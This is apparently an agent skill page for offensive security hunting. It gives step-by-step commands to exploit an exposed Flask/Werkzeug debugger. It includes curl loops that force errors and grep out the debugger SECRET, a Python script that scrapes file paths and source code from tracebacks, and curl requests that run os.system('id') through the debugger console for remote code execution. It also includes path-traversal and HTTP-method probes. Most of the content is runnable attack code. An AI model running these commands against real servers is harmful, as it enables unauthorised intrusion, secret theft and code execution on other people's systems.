agent-security-hardening
AFaffaan-m/ECC278k4,046 new stars in the last 7 days
Exploit Flask/Werkzeug debugger exposure for traceback and SECRET leaks.
Flask applications with debug=True enable the Werkzeug debugger, which exposes stack traces and (optionally) an interactive Python console. The debugger runs at the same port as the Flask app and activates on any unhandled exception (HTTP 500).
?__debugger__=yes parameter appears in URL resources (CSS, JS, PNG)var CONSOLE_MODE, var EVALEX, or SECRET= in the HTMLterminal with curldebug=True in production (misconfiguration)# Check if Werkzeug debugger is active — trigger an error
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/sitemap.xml" 2>/dev/null | grep -oE "(Werkzeug|Debugger|SECRET|CONSOLE_MODE|EVALEX)" | head -5
# Try to trigger error on common paths
for path in "/error" "/500" "/test" "/debug" "/sitemap.xml" "/env" "/config"; do
result=$(curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT$path" 2>/dev/null)
if echo "$result" | grep -q "Traceback\|Error\|Werkzeug"; then
echo "TRIGGERED: $path"
echo "$result" | grep -oE '(File|Error|SECRET|CONSOLE_MODE|EVALEX)[^<]*' | head -5
fi
done
The Werkzeug debugger exposes:
File "/var/www/html/target-app-backend/venv/lib/python3.10/site-packages/flask/app.py"
File "/var/www/html/target-app-backend/venv/lib/python3.10/site-packages/flask_cors/extension.py"
File "/var/www/html/target-app-backend/venv/lib/python3.10/site-packages/..."
<script>
var CONSOLE_MODE = false,
EVALEX = false,
EVALEX_TRUSTED = false,
SECRET="vYQ93K...8cww";
</script>
import requests, re
resp = requests.get("https://target.com:PORT/ERROR_PATH", verify=False)
traceback = resp.text
# Extract all filenames from traceback frames
files = re.findall(r'File\s+\"([^\"]+)\"', traceback)
for f in files:
print(f" {f}")
# Extract source code snippets
sources = re.findall(r'<pre[^>]*class="source[^"]*"[^>]*>(.*?)</pre>', traceback, re.DOTALL)
for s in sources:
clean = re.sub(r'<[^>]+>', '', s)
print(clean[:200])
The Werkzeug debugger console allows Python code execution on the server IF EVALEX=true and CONSOLE_MODE=true.
# The SECRET and console mode are in the HTML
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/sitemap.xml" | grep -oE '(CONSOLE_MODE|EVALEX|EVALEX_TRUSTED|SECRET)="?[^"&;]+'
If EVALEX=true:
# Access the console
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/console"
Signal check: If /console returns HTTP 400 (not 404), the debugger IS active but the console is disabled. HTTP 404 means no debugger at all. HTTP 200 with console UI means RCE is available.
If EVALEX=true:
# Execute Python commands (POST to the debugger endpoint)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com:PORT/sitemap.xml?__debugger__=yes&cmd=e&s=SECRET" \
-d "code=__import__('os').system('id')"
# Alternative: GET-based eval
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/sitemap.xml?__debugger__=yes&cmd=eval&code=__import__('os').system('id')&s=SECRET"
Note: The console endpoint may require specific method (POST vs GET) and may return HTTP 405 if the wrong method is used. Test both.
If EVALEX=false (most common in production), the console is disabled and cannot execute commands. However:
?__debugger__=yes — this is the debugger interface itself; if it loads, the debugger is partially activeBeyond the specific error-triggering path, probe for other endpoints that may leak different info:
# Path traversal in error generation
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/path/to/../sitemap.xml"
# Test various HTTP methods
curl --max-time 30 --connect-timeout 10 -sk -X OPTIONS "https://target.com:PORT/sitemap.xml"
curl --max-time 30 --connect-timeout 10 -sk -X PUT "https://target.com:PORT/sitemap.xml"
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "https://target.com:PORT/sitemap.xml"
# Check if error page returns CORS headers
curl --max-time 30 --connect-timeout 10 -sk -D- "https://target.com:PORT/sitemap.xml" | grep -i access-control
Access-Control-Allow-Origin headers — CORS wildcard on the debugger page means an attacker-controlled website can read the SECRET and traceback via fetch().hunt-rce — General RCE hunting; console-enabled Werkzeug would be RCEhunt-python — Python-specific vulnerability huntingjs-secrets-extraction — Finding API keys that may work with the Flask APIsource-leak-hunt — Finding .env and config files that may contain Flask SECRET_KEYcache-attack — Cache poisoning via Werkzeug error page (if CDN caches the 500 response)AFaffaan-m/ECC278k4,046 new stars in the last 7 days
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